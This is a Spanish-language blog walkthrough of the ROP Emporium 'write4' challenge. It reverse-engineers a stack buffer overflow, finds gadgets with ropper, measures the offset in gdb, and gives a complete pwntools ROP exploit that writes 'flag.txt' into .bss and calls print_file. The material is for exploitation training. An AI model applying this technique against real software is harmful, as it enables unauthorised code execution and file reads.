write4 - ROP Emporium

Posted on 9 mins

Pwn

Se nos proporciona un binario de 64 bits con las siguientes protecciones.

$ checksec write4
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

Tambien nos entregan su libreria compartida, esta contiene todas las funciones utilizadas por el binario.

$ ldd write4
        linux-vdso.so.1 (0x00007a1412b02000)
        libwrite4.so => ./libwrite4.so (0x00007a1412800000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007a1412400000)
        /lib64/ld-linux-x86-64.so.2 (0x00007a1412b04000)
$ file libwrite4.so 
libwrite4.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=6480d05c301d646a5677805e7226e81b35c23f7d, not stripped

Al ejecutar el binario, este solicita un valor de entrada. Si ingresamos cualquier cadena y presionamos Enter, el programa finaliza su ejecución sin mayor interacción.

$ ./write4 
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> test
Thank you!

Ingenieria inversa

Abrimos el binario con gdb y al revisar sus funciones vemos lo siguiente.

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x00000000004004d0  _init
0x0000000000400500  pwnme@plt
0x0000000000400510  print_file@plt
0x0000000000400520  _start
0x0000000000400550  _dl_relocate_static_pie
0x0000000000400560  deregister_tm_clones
0x0000000000400590  register_tm_clones
0x00000000004005d0  __do_global_dtors_aux
0x0000000000400600  frame_dummy
0x0000000000400607  main
0x0000000000400617  usefulFunction
0x0000000000400628  usefulGadgets
0x0000000000400630  __libc_csu_init
0x00000000004006a0  __libc_csu_fini
0x00000000004006a4  _fini

Observamos que las funciones pwnme y print_file se encuentran referenciadas en la PLT. Esto indica que ambas están implementadas en una biblioteca compartida y no en el propio binario. Abriremos esta biblioteca utilizando IDA para examinar su implementación, revisaremos la funcion pwnme.

int pwnme()
{
  _BYTE s[32]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("write4 by ROP Emporium");
  puts("x86_64\n");
  memset(s, 0, sizeof(s));
  puts("Go ahead and give me the input already!\n");
  printf("> ");
  read(0, s, 0x200uLL);
  return puts("Thank you!");
}

Define un buffer de 32 bytes (_BYTE s[32]), imprime dos mensajes mediante puts() y utiliza la función read() para leer nuestro input hasta 512 bytes (0x200). Esta discrepancia entre el tamaño del buffer y la cantidad de datos que read() puede recibir genera una vulnerabilidad de Buffer Overflow, ya que si ingresamos mas de 32 bytes se sobrescribirá la pila, incluyendo potencialmente la dirección de retorno, permitiendo así el control del flujo de ejecución. La otra funcion interesante que tiene el binario es print_file.

int __fastcall print_file(const char *a1)
{
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  FILE *stream; // [rsp+38h] [rbp-8h]

  stream = fopen(a1, "r");
  if ( !stream )
  {
    printf("Failed to open file: %s\n", a1);
    exit(1);
  }
  fgets(s, 33, stream);
  puts(s);
  return fclose(stream);
}

La función print_file() abre el archivo cuyo nombre se le pase como argumento. Si el archivo no existe, imprime un mensaje de error y finaliza la ejecución con exit(1). En caso contrario, lee hasta 33 bytes del archivo mediante fgets() y los imprime con puts(). Esta función es clave para la explotación, ya que permite controlar qué archivo se abre, facilitando la lectura de archivos sensibles si se manipula adecuadamente.

Estrategia de explotación

Para resolver este desafío, debemos explotar el Buffer Overflow y redirigir el flujo de ejecución hacia la función print_file() para abrir el archivo flag.txt. Sin embargo, no hay una cadena flag.txt en la sección .rodata ni en ninguna otra parte del binario que podamos utilizar directamente como argumento.

$ rabin2 -z write4
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x000006b4 0x004006b4 11  12   .rodata ascii nonexistent

Dado que no contamos con la cadena flag.txt en el binario (como en los desafios mas faciles de ROP Emporium), será necesario escribirla manualmente en una región de memoria controlable, como la sección .bss, y luego pasar su dirección como argumento a print_file(). Pero antes de hacer esto, ya que estamos, me gustaria explicar algunos conceptos.

Al compilar un binario en Linux, este se transforma en un Executable and Linkable Format (ELF), el formato estándar para archivos ejecutables en sistemas UNIX. Este formato organiza el binario en distintas secciones de memoria, cada una con un propósito específico.

.

Entre estas secciones, algunas permiten escritura, como la .bss. Esta sección es utilizada para almacenar variables no inicializadas en tiempo de compilación y se encuentra vacía (solo ocupando espacio lógico) hasta que el programa se ejecuta. Su principal ventaja es que cuenta con permisos de lectura/escritura (rw), lo que la convierte en un excelente objetivo para inyectar datos controlados durante la explotación. Verifcamos esto con readelf.

$ readelf -S write4 | grep bss -B 1
       0000000000000010  0000000000000000  WA       0     0     8
  [24] .bss              NOBITS           0000000000601038  00001038

La estrategia consiste en explotar el Buffer Overflow para redirigir el flujo de ejecución, utilizar gadgets (obtenidos con ropper) que permitan escribir la cadena flag.txt en la .bss, y finalmente invocar la función print_file() pasándole como argumento la dirección de la .bss para que lea y muestre el contenido del archivo. Esta técnica aprovecha la capacidad de manipular regiones de memoria controlables junto con el uso preciso de gadgets ROP para lograr la ejecución controlada del flujo del programa.

Explotación

Para comenzar, necesitamos un gadget que permita extraer dos valores de la pila y cargarlos en registros, lo que facilitará la manipulación de direcciones y datos. Utilizando ropper y filtrando por pop, encontramos el gadget pop r14; pop r15; ret;, que se ajusta perfectamente a nuestros objetivos.

$ ropper --file write4 --search 'pop'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop

[INFO] File: write4
0x000000000040068c: pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040068e: pop r13; pop r14; pop r15; ret; 
0x0000000000400690: pop r14; pop r15; ret; 
0x0000000000400692: pop r15; ret; 
0x000000000040057b: pop rbp; mov edi, 0x601038; jmp rax; 
0x000000000040068b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040068f: pop rbp; pop r14; pop r15; ret; 
0x0000000000400588: pop rbp; ret; 
0x0000000000400693: pop rdi; ret; 
0x0000000000400691: pop rsi; pop r15; ret; 
0x000000000040068d: pop rsp; pop r13; pop r14; pop r15; ret;

Este gadget nos permite cargar en r14 la dirección de la sección .bss (donde escribiremos la cadena flag.txt) y en r15 la propia cadena flag.txt. Ahora que podemos posicionar estos valores en registros, el siguiente paso es encontrar un gadget que realice la operación de mover (mov) el contenido de r15 hacia la dirección almacenada en r14, completando así el proceso de escritura en memoria.

Una vez que la cadena flag.txt esté correctamente almacenada en la sección .bss, el siguiente paso es preparar el argumento para la función print_file, que se encargará de abrir y leer el contenido de la flag.

Para ello, necesitamos un gadget que cargue un valor en el registro rdi, ya que este es el primer argumento en las convenciones de llamada en sistemas Linux de 64 bits (x86_64 ABI). Utilizando ropper y filtrando por pop rdi, encontramos el siguiente gadget.

$ ropper --file write4 --search 'pop rdi'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: write4
0x0000000000400693: pop rdi; ret;

Finalmente, para construir el exploit completo, solo nos falta calcular el offset, que es la distancia entre el inicio de nuestro input y la dirección que controla el flujo de ejecución. Este valor se calculará utilizando gdb, permitiéndonos determinar con precisión en qué posición debemos insertar nuestros gadgets y direcciones.

gef➤  pattern create 250                                                                                                                                                                                                                                                                                                     
[+] Generating a pattern of 250 bytes (n=8)                                                                                                                                                                                                                                                                                  
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabga                                                                   
[+] Saved as '$_gef0'                                                                                                                                                                                                                                                                                                        
gef➤  Quit                                                                                                                                                                                                                                                                                                                   
gef➤  r                                                                                                                                                                                                                                                                                                                      
Starting program: /home/abund4nt/pwn/ROP Emporium/write4/write4                                                                                                                                                                                                                                                              
[Thread debugging using libthread_db enabled]                                                                                                                                                                                                                                                                                
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                                                                                                                                                                                                   
write4 by ROP Emporium                                                                                                                                                                                                                                                                                                       
x86_64                                                                                                                                                                                                                                                                                                                       
                                                                                                                                                                                                                                                                                                                             
Go ahead and give me the input already!                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                                             
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabga                                                                 
Thank you!                                                                                                                                                                                                                                                                                                                   
                                                                                                                                                                                                                                                                                                                             
Program received signal SIGSEGV, Segmentation fault.                                                                                                                                                                                                                                                                         
0x00007ffff7c00942 in pwnme () from ./libwrite4.so                                                                                                                                                                                                                                                                           
[ Legend: Modified register | Code | Heap | Stack | String ]                                                                                                                                                                                                                                                                 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────                                                                                 
$rax   : 0xb                                                                                                                                                                                                                                                                   
$rbx   : 0x00007fffffffde680x00007fffffffe1d8"/home/abund4nt/pwn/ROP Emporium/write4/write4"                                                                                                                                                                         
$rcx   : 0x00007ffff791c574  →  0x5477fffff0003d48 ("H="?)                                                                                                                                                                                                                     
$rdx   : 0x0                                                                                                                                                                                                                                                                   
$rsp   : 0x00007fffffffdd38"faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"                                                                                                                                                                                      
$rbp   : 0x6161616161616165 ("eaaaaaaa"?)                                                                                                                                                                                                                                      
$rsi   : 0x00007ffff7a04643  →  0xa05710000000000a ("\n"?)                                                                                                                                                                                                                     
$rdi   : 0x00007ffff7a05710  →  0x0000000000000000                                                                                                                                                                                                                             
$rip   : 0x00007ffff7c00942<pwnme+0098> ret                                                                                                                                                                                                                               
$r8    : 0xa                                                                                                                                                                                                                                                                   
$r9    : 0x00007ffff7fca380<_dl_fini+0000> endbr64                                                                                                                                                                                                                        
$r10   : 0x00007ffff78109d8  →  0x0011001200001bd3                                                                                                                                                                                                                             
$r11   : 0x202                                                                                                                                                                                                                                                                 
$r12   : 0x1                                                                                                                                                                                                                                                                   
$r13   : 0x0                                                                                                                                                                                                                                                                   
$r14   : 0x0                                                                                                                                                                                                                                                                   
$r15   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000000000000000                                                                                                                                                                                                      
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]                                                                                                                                                                    
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00                                                                                                                                                                                                                    
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────                                                                                 
0x00007fffffffdd38│+0x0000: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"    ← $rsp                                                                                                                                                                                
0x00007fffffffdd40│+0x0008: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]"                                                                                                                                                                                          
0x00007fffffffdd48│+0x0010: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaana[...]"                                                                                                                                                                                          
0x00007fffffffdd50│+0x0018: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoa[...]"                                                                                                                                                                                          
0x00007fffffffdd58│+0x0020: "jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapa[...]"                                                                                                                                                                                          
0x00007fffffffdd60│+0x0028: "kaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqa[...]"                                                                                                                                                                                          
0x00007fffffffdd68│+0x0030: "laaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaara[...]"                                                                                                                                                                                          
0x00007fffffffdd70│+0x0038: "maaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasa[...]"                                                                                                                                                                                          
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────                                                                                 
   0x7ffff7c0093b <pwnme+0091>     call   0x7ffff7c00730 <puts@plt>                                                                                                                                                                                                            
   0x7ffff7c00940 <pwnme+0096>     nop                                                                                                                                                                                                                                         
   0x7ffff7c00941 <pwnme+0097>     leave                                                                                                                                                                                                                                       
 → 0x7ffff7c00942 <pwnme+0098>     ret                             
[!] Cannot disassemble from $PC                                                                                                                                                                                                                                                
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────                                                                                                                               
[#0] Id 1, Name: "write4", stopped 0x7ffff7c00942 in pwnme (), reason: SIGSEGV                                                                                
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────                                                                                                                               
[#0] 0x7ffff7c00942 → pwnme()                                      
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────                                                                                                                               
gef➤  pattern search $rsp                                                                                                              
[+] Searching for '6661616161616161'/'6161616161616166' with period=8                                                                  
[+] Found at offset 40 (little-endian search) likely 

Generamos una secuencia de Brujin de 250 bytes con pattern create 250, la cual fue pasada como entrada al programa para provocar un desbordamiento de buffer y un fallo por SIGSEGV. Al utilizar pattern search $rsp en GDB, buscamos el patrón en el registro rsp y encontramos que el desbordamiento ocurre a los 40 bytes, lo que indica que ese es el offset necesario para sobrescribir el valor de rsp. Con esta información, podemos proceder a ajustar el payload y explotar el desbordamiento para controlar el flujo de ejecución, como en el caso de un ataque ROP.

Exploit final.

Con este exploit resolvemos el desafio y logramos leer la flag.

from pwn import *

context.binary = ELF('./write4')
p = process()

offset = 40
junk = b'A' * offset

MOV_QWORD_PTR_R14_R15_RET = 0x0000000000400628
POP_R14_POP_R15_RET = 0x0000000000400690

bss = 0x0000000000601038
POP_RDI_RET = 0x0000000000400693
RET = 0x00000000004004e6


print_file_function = 0x0000000000400510

payload = junk
payload += p64(POP_R14_POP_R15_RET)
payload += p64(bss)
payload += b'flag.txt'
payload += p64(MOV_QWORD_PTR_R14_R15_RET)
payload += p64(POP_RDI_RET)
payload += p64(bss)
payload += p64(RET)
payload += p64(print_file_function)


p.sendline(payload)
p.interactive()

Primero, configuramos el contexto y la conexión usando la librería pwntools. Posteriormente, determinamos el offset de 40 bytes entre el inicio de nuestro input y el valor de rsp. Luego, se definen los gadgets clave para la explotación, como POP_R14_POP_R15_RET para cargar los valores en los registros y MOV_QWORD_PTR_R14_R15_RET para almacenar la cadena ‘flag.txt’ en la sección BSS.

En el payload, primero llenamos con la cantidad necesaria de basura para alcanzar el offset y sobrescribir el valor de rsp. Usamos el gadget POP_R14_POP_R15_RET para cargar la dirección de memoria de la sección BSS y la cadena ‘flag.txt’, y luego movemos estos valores con MOV_QWORD_PTR_R14_R15_RET. Después, cargamos la dirección de la sección BSS en el registro rdi usando el gadget POP_RDI_RET, seguido de un retorno con RET y finalmente invocamos la función print_file_function para imprimir el contenido del archivo ‘flag.txt’ desde la BSS.

Al ejecutar el exploit, el programa imprime la flag correctamente. El flujo completo muestra cómo, al controlar el stack mediante ROP, podemos ejecutar una función deseada para leer un archivo y obtener la flag.

$ python3 sol.py 
[*] '/home/abund4nt/pwn/ROP Emporium/write4/write4'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Starting local process '/home/abund4nt/pwn/ROP Emporium/write4/write4': pid 45463
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$